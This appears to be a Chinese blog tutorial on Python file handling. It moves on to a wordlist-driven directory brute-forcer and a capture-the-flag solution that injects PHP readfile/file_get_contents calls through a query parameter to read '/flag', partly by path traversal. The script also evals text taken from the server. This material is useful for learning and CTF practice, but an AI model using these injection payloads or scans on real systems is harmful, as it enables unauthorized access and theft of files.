f = open("1.txt","r") for line in f.readlines(): print(line) #Hello
#World
#haha
1 2 3 4 5 6 7 8
f = open("1.txt","r") for line in f.readlines(): print(line.strip())
Hello World haha
1 2 3 4 5
f = open("1.txt","r") line1 = f.readline() print(line1)
#Hello
1 2 3 4 5
f = open("1.txt","r") line1 = f.read(4) print(line1)
#Hell
1 2 3 4 5 6 7 8
f = open("1.txt","r") line1 = f.read() print(line1)
#Hello #World #haha
1 2 3 4 5 6 7 8 9
with open ("1.txt","r")as f: for line in f.readlines(): print(line) #Hello
#World
#haha
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
#open(filename,mode) #mode r=read # w 写操作会自动写入内容,并且对之前的内容进行覆盖 # a 追加 f1 = open("1.txt","w") f1.write('brute') f1.close()
f2=open("1.txt") for line in f2.readlines(): print(line.strip()) f2.close() #brute
工具编写
读取字典文件
1 2 3 4 5 6 7 8 9 10 11 12
import requests url = "http://127.0.0.1/"
with open ("1.txt","r")as f: for line in f.readlines(): line = line.strip() r = requests.get(url+line) if r.status_code == 200: print("url:"+r.url) #1.txt是字典文件,
python temp.py a b c d sys.argv == ["temp.py","a","b","c","d"] #sys.argv是持有5个元素的list对象
sys.argv[0] == "temp.py" #第1个元素为模块名“temp.py”
sys.argv[1] == "a" #第2个元素为"a"
sys.argv[2] == "b" #第3个元素为"b"
sys.argv[3] == "c" #第4个元素为"c"
sys.argv[4] == "d" #第5个元素为"d"
1 2 3 4 5 6 7 8 9 10 11 12 13
import requests import sys
url=sys.argv[1] #url = "http://127.0.0.1/"
with open ("1.txt","r")as f: for line in f.readlines(): line = line.strip() r = requests.get(url+line) #print(r) if r.status_code == 200: print("url:"+r.url)
第二种解法
有了以上知识,可以开始编写脚本
1 2 3 4 5
import requests #导入requests模块 import re #导入re模块 r = requests.session(); result=r.get("http://47.98.234.232:28054") print(result.text)
import requests #导入requests模块 import re #导入re模块 r = requests.session(); result=r.get("http://47.98.234.232:28054") expr=re.findall("<h4>(.*?)</h4>",result.text) print(eval(expr[0])) url="http://47.98.234.232:28054?a=%s"%str(eval(expr[0]))+" and print_r(readfile('../../../../../../../flag'))" print(url) a=r.get(url) if "Try again!" not in a.text: print("yes") print(a.text)
到这里发现不用返回那么多级目录,在文件名前面加一个/就可以了!!!
1
url="http://47.98.234.232:28054?a=%s"%str(eval(expr[0]))+" and print_r(file_get_contents('/flag'))"